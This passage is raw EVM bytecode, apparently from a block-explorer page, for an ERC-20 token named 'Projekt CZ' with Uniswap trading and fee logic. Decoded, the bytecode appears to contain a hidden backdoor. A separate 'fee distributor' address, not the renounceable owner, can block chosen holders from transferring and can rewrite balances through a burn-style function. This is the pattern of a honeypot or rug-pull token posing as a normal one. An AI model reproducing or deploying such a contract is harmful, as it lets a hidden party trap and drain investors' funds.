17f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa91906120fc565b60405180910390fd5b5060008385611ac29190612b37565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3690612bdd565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbd90612c6f565b60405180910390fd5b81601554611bd49190612b37565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160106000828254611c299190612b37565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c8e9190612241565b60405180910390a3505050565b600080823b905060008111915050919050565b6000818311611cbd5782611cbf565b815b905092915050565b6001601860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cff57611cfe612c8f565b5b604051908082528060200260200182016040528015611d2d5781602001602082028036833780820191505090505b5090503081600081518110611d4557611d446124da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611de757600080fd5b505afa158015611dfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e1f919061266e565b81600181518110611e3357611e326124da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e9a30601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ee565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611efe959493929190612dc1565b600060405180830381600087803b158015611f1857600080fd5b505af1158015611f2c573d6000803e3d6000fd5b50505050506000601860156101000a81548160ff02191690831515021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611fb7573d6000803e3d6000fd5b5050565b6000611ffd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a6b565b905092915050565b60008082846120149190612a75565b905083811015612059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205090612e67565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561209d578082015181840152602081019050612082565b838111156120ac576000848401525b50505050565b6000601f19601f8301169050919050565b60006120ce82612063565b6120d8818561206e565b93506120e881856020860161207f565b6120f1816120b2565b840191505092915050565b6000602082019050818103600083015261211681846120c3565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061215382612128565b9050919050565b61216381612148565b811461216e57600080fd5b50565b6000813590506121808161215a565b92915050565b6000819050919050565b61219981612186565b81146121a457600080fd5b50565b6000813590506121b681612190565b92915050565b600080604083850312156121d3576121d261211e565b5b60006121e185828601612171565b92505060206121f2858286016121a7565b9150509250929050565b60008115159050919050565b612211816121fc565b82525050565b600060208201905061222c6000830184612208565b92915050565b61223b81612186565b82525050565b60006020820190506122566000830184612232565b92915050565b6000806000606084860312156122755761227461211e565b5b600061228386828701612171565b935050602061229486828701612171565b92505060406122a5868287016121a7565b9150509250925092565b600060ff82169050919050565b6122c5816122af565b82525050565b60006020820190506122e060008301846122bc565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261230b5761230a6122e6565b5b8235905067ffffffffffffffff811115612328576123276122eb565b5b602083019150836020820283011115612344576123436122f0565b5b9250929050565b612354816121fc565b811461235f57600080fd5b50565b6000813590506123718161234b565b92915050565b6000806000604084860312156123905761238f61211e565b5b600084013567ffffffffffffffff8111156123ae576123ad612123565b5b6123ba868287016122f5565b935093505060206123cd86828701612362565b9150509250925092565b6000602082840312156123ed576123ec61211e565b5b60006123fb84828501612171565b91505092915050565b61240d81612148565b82525050565b60006020820190506124286000830184612404565b92915050565b600080604083850312156124455761244461211e565b5b600061245385828601612171565b925050602061246485828601612171565b9150509250929050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b60006124a4601d8361206e565b91506124af8261246e565b602082019050919050565b600060208201905081810360008301526124d381612497565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061254382612186565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561257657612575612509565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125b760208361206e565b91506125c282612581565b602082019050919050565b600060208201905081810360008301526125e6816125aa565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061262360178361206e565b915061262e826125ed565b602082019050919050565b6000602082019050818103600083015261265281612616565b9050919050565b6000815190506126688161215a565b92915050565b6000602082840312156126845761268361211e565b5b600061269284828501612659565b91505092915050565b60006040820190506126b06000830185612404565b6126bd6020830184612404565b9392505050565b60006040820190506126d96000830185612404565b6126e66020830184612232565b9392505050565b6000815190506126fc8161234b565b92915050565b6000602082840312156127185761271761211e565b5b6000612726848285016126ed565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061278b60248361206e565b91506127968261272f565b604082019050919050565b600060208201905081810360008301526127ba8161277e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061281d60228361206e565b9150612828826127c1565b604082019050919050565b6000602082019050818103600083015261284c81612810565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006128af60258361206e565b91506128ba82612853565b604082019050919050565b600060208201905081810360008301526128de816128a2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061294160238361206e565b915061294c826128e5565b604082019050919050565b6000602082019050818103600083015261297081612934565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006129d360298361206e565b91506129de82612977565b604082019050919050565b60006020820190508181036000830152612a02816129c6565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000612a3f60198361206e565b9150612a4a82612a09565b602082019050919050565b60006020820190508181036000830152612a6e81612a32565b9050919050565b6000612a8082612186565b9150612a8b83612186565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ac057612abf612509565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612b01601a8361206e565b9150612b0c82612acb565b602082019050919050565b60006020820190508181036000830152612b3081612af4565b9050919050565b6000612b4282612186565b9150612b4d83612186565b925082821015612b6057612b5f612509565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bc760218361206e565b9150612bd282612b6b565b604082019050919050565b60006020820190508181036000830152612bf681612bba565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c5960228361206e565b9150612c6482612bfd565b604082019050919050565b60006020820190508181036000830152612c8881612c4c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b6000612ced612ce8612ce384612cbe565b612cc8565b612186565b9050919050565b612cfd81612cd2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612d3881612148565b82525050565b6000612d4a8383612d2f565b60208301905092915050565b6000602082019050919050565b6000612d6e82612d03565b612d788185612d0e565b9350612d8383612d1f565b8060005b83811015612db4578151612d9b8882612d3e565b9750612da683612d56565b925050600181019050612d87565b5085935050505092915050565b600060a082019050612dd66000830188612232565b612de36020830187612cf4565b8181036040830152612df58186612d63565b9050612e046060830185612404565b612e116080830184612232565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612e51601b8361206e565b9150612e5c82612e1b565b602082019050919050565b60006020820190508181036000830152612e8081612e44565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220239bb431b572a23a984af397527bb677d5d625841b58854631d603e34c9821ca64736f6c63430008080033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c8063715018a6116100b857806395d89b411161007c57806395d89b411461031a5780639dc29fac14610338578063a9059cbb14610354578063bf474bed14610384578063c9567bf9146103a2578063dd62ed3e146103ac57610137565b8063715018a6146102ac578063751039fc146102b65780637d1db4a5146102c05780638da5cb5b146102de5780638f9a55c0146102fc57610137565b8063313ce567116100ff578063313ce567146101f65780635178624c146102145780635e7526c114610230578063607759511461026057806370a082311461027c57610137565b806306fdde031461013c578063095ea7b31461015a5780630faee56f1461018a57806318160ddd146101a857806323b872dd146101c6575b600080fd5b6101446103dc565b60405161015191906120fc565b60405180910390f35b610174600480360381019061016f91906121bc565b610419565b6040516101819190612217565b60405180910390f35b610192610437565b60405161019f9190612241565b60405180910390f35b6101b061043d565b6040516101bd9190612241565b60405180910390f35b6101e060048036038101906101db919061225c565b610447565b6040516101ed9190612217565b60405180910390f35b6101fe610520565b60405161020b91906122cb565b60405180910390f35b61022e60048036038101906102299190612377565b610529565b005b61024a600480360381019061024591906123d7565b61065c565b6040516102579190612217565b60405180910390f35b61027a600480360381019061027591906123d7565b6106b2565b005b610296600480360381019061029191906123d7565b6107e5565b6040516102a39190612241565b60405180910390f35b6102b461082e565b005b6102be610986565b005b6102c8610a85565b6040516102d59190612241565b60405180910390f35b6102e6610a8b565b6040516102f39190612413565b60405180910390f35b610304610ab5565b6040516103119190612241565b60405180910390f35b610322610abb565b60405161032f91906120fc565b60405180910390f35b610352600480360381019061034d91906121bc565b610af8565b005b61036e600480360381019061036991906121bc565b610b94565b60405161037b9190612217565b60405180910390f35b61038c610bb2565b6040516103999190612241565b60405180910390f35b6103aa610bb8565b005b6103c660048036038101906103c1919061242e565b61105f565b6040516103d39190612241565b60405180910390f35b60606040518060400160405280600a81526020017f50726f6a656b7420435a00000000000000000000000000000000000000000000815250905090565b600061042d6104266110e6565b84846110ee565b6001905092915050565b60145481565b6000601054905090565b60006104548484846112b9565b610515846104606110e6565b61051085604051806060016040528060288152602001612e8860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c66110e6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6b9092919063ffffffff16565b6110ee565b600190509392505050565b60006009905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ae906124ba565b60405180910390fd5b60005b838390508110156106565781600560008686858181106105dd576105dc6124da565b5b90506020020160208101906105f291906123d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061064e90612538565b9150506105ba565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6106ba6110e6565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610749576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610740906125cd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108366110e6565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bc906125cd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61098e6110e6565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a14906125cd565b60405180910390fd5b6016546011819055506016546012819055506016546013819055506016546014819055506016546015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610a7b9190612241565b60405180910390a1565b60115481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600281526020017f435a000000000000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7d906124ba565b60405180910390fd5b610b908282611acf565b5050565b6000610ba8610ba16110e6565b84846112b9565b6001905092915050565b60135481565b610bc06110e6565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c46906125cd565b60405180910390fd5b601860149054906101000a900460ff1615610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9690612639565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d2330601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166010546110ee565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8b57600080fd5b505afa158015610d9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc3919061266e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e4757600080fd5b505afa158015610e5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7f919061266e565b6040518363ffffffff1660e01b8152600401610e9c92919061269b565b602060405180830381600087803b158015610eb657600080fd5b505af1158015610eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eee919061266e565b601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fcd9291906126c4565b602060405180830381600087803b158015610fe757600080fd5b505af1158015610ffb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101f9190612702565b506001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff02191690831515021790555043600781905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561115e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611155906127a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c590612833565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112ac9190612241565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611320906128c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139090612957565b60405180910390fd5b600081116113dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d3906129e9565b60405180910390fd5b60006113e6610a8b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611422576000905061185b565b61142a610a8b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114985750611468610a8b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561185a57601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115485750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561159e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561166b576011548211156115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115df90612a55565b60405180910390fd5b601254826115f5856107e5565b6115ff9190612a75565b1115611640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163790612b17565b60405180910390fd5b4360036007546116509190612a75565b111561166a5761165f83611c9b565b1561166957600080fd5b5b5b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117135750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117715760125482611725856107e5565b61172f9190612a75565b1115611770576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176790612b17565b60405180910390fd5b5b600061177c306107e5565b9050601860159054906101000a900460ff161580156117e85750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156118005750601860169054906101000a900460ff165b801561180d575060135481115b801561181c5750600e54600f54115b156118585761183e6118398461183484601454611cae565b611cae565b611cc7565b600047905060008111156118565761185547611f4f565b5b505b505b5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118b257600080fd5b61190482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fbb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ab61195d8284611fbb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a508486611fbb90919063ffffffff16565b604051611a5d9190612241565b60405180910390a350505050565b6000838311158290611ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa91906120fc565b60405180910390fd5b5060008385611ac29190612b37565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3690612bdd565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbd90612c6f565b60405180910390fd5b81601554611bd49190612b37565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160106000828254611c299190612b37565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c8e9190612241565b60405180910390a3505050565b600080823b905060008111915050919050565b6000818311611cbd5782611cbf565b815b905092915050565b6001601860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cff57611cfe612c8f565b5b604051908082528060200260200182016040528015611d2d5781602001602082028036833780820191505090505b5090503081600081518110611d4557611d446124da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611de757600080fd5b505afa158015611dfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e1f919061266e565b81600181518110611e3357611e326124da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e9a30601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ee565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611efe959493929190612dc1565b600060405180830381600087803b158015611f1857600080fd5b505af1158015611f2c573d6000803e3d6000fd5b50505050506000601860156101000a81548160ff02191690831515021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611fb7573d6000803e3d6000fd5b5050565b6000611ffd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a6b565b905092915050565b60008082846120149190612a75565b905083811015612059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205090612e67565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561209d578082015181840152602081019050612082565b838111156120ac576000848401525b50505050565b6000601f19601f8301169050919050565b60006120ce82612063565b6120d8818561206e565b93506120e881856020860161207f565b6120f1816120b2565b840191505092915050565b6000602082019050818103600083015261211681846120c3565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061215382612128565b9050919050565b61216381612148565b811461216e57600080fd5b50565b6000813590506121808161215a565b92915050565b6000819050919050565b61219981612186565b81146121a457600080fd5b50565b6000813590506121b681612190565b92915050565b600080604083850312156121d3576121d261211e565b5b60006121e185828601612171565b92505060206121f2858286016121a7565b9150509250929050565b60008115159050919050565b612211816121fc565b82525050565b600060208201905061222c6000830184612208565b92915050565b61223b81612186565b82525050565b60006020820190506122566000830184612232565b92915050565b6000806000606084860312156122755761227461211e565b5b600061228386828701612171565b935050602061229486828701612171565b92505060406122a5868287016121a7565b9150509250925092565b600060ff82169050919050565b6122c5816122af565b82525050565b60006020820190506122e060008301846122bc565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261230b5761230a6122e6565b5b8235905067ffffffffffffffff811115612328576123276122eb565b5b602083019150836020820283011115612344576123436122f0565b5b9250929050565b612354816121fc565b811461235f57600080fd5b50565b6000813590506123718161234b565b92915050565b6000806000604084860312156123905761238f61211e565b5b600084013567ffffffffffffffff8111156123ae576123ad612123565b5b6123ba868287016122f5565b935093505060206123cd86828701612362565b9150509250925092565b6000602082840312156123ed576123ec61211e565b5b60006123fb84828501612171565b91505092915050565b61240d81612148565b82525050565b60006020820190506124286000830184612404565b92915050565b600080604083850312156124455761244461211e565b5b600061245385828601612171565b925050602061246485828601612171565b9150509250929050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b60006124a4601d8361206e565b91506124af8261246e565b602082019050919050565b600060208201905081810360008301526124d381612497565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061254382612186565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561257657612575612509565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125b760208361206e565b91506125c282612581565b602082019050919050565b600060208201905081810360008301526125e6816125aa565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061262360178361206e565b915061262e826125ed565b602082019050919050565b6000602082019050818103600083015261265281612616565b9050919050565b6000815190506126688161215a565b92915050565b6000602082840312156126845761268361211e565b5b600061269284828501612659565b91505092915050565b60006040820190506126b06000830185612404565b6126bd6020830184612404565b9392505050565b60006040820190506126d96000830185612404565b6126e66020830184612232565b9392505050565b6000815190506126fc8161234b565b92915050565b6000602082840312156127185761271761211e565b5b6000612726848285016126ed565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061278b60248361206e565b91506127968261272f565b604082019050919050565b600060208201905081810360008301526127ba8161277e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061281d60228361206e565b9150612828826127c1565b604082019050919050565b6000602082019050818103600083015261284c81612810565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006128af60258361206e565b91506128ba82612853565b604082019050919050565b600060208201905081810360008301526128de816128a2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061294160238361206e565b915061294c826128e5565b604082019050919050565b6000602082019050818103600083015261297081612934565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006129d360298361206e565b91506129de82612977565b604082019050919050565b60006020820190508181036000830152612a02816129c6565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000612a3f60198361206e565b9150612a4a82612a09565b602082019050919050565b60006020820190508181036000830152612a6e81612a32565b9050919050565b6000612a8082612186565b9150612a8b83612186565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ac057612abf612509565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000612b01601a8361206e565b9150612b0c82612acb565b602082019050919050565b60006020820190508181036000830152612b3081612af4565b9050919050565b6000612b4282612186565b9150612b4d83612186565b925082821015612b6057612b5f612509565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bc760218361206e565b9150612bd282612b6b565b604082019050919050565b60006020820190508181036000830152612bf681612bba565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c5960228361206e565b9150612c6482612bfd565b604082019050919050565b60006020820190508181036000830152612c8881612c4c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b6000612ced612ce8612ce384612cbe565b612cc8565b612186565b9050919050565b612cfd81612cd2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612d3881612148565b82525050565b6000612d4a8383612d2f565b60208301905092915050565b6000602082019050919050565b6000612d6e82612d03565b612d788185612d0e565b9350612d8383612d1f565b8060005b83811015612db4578151612d9b8882612d3e565b9750612da683612d56565b925050600181019050612d87565b5085935050505092915050565b600060a082019050612dd6600083018861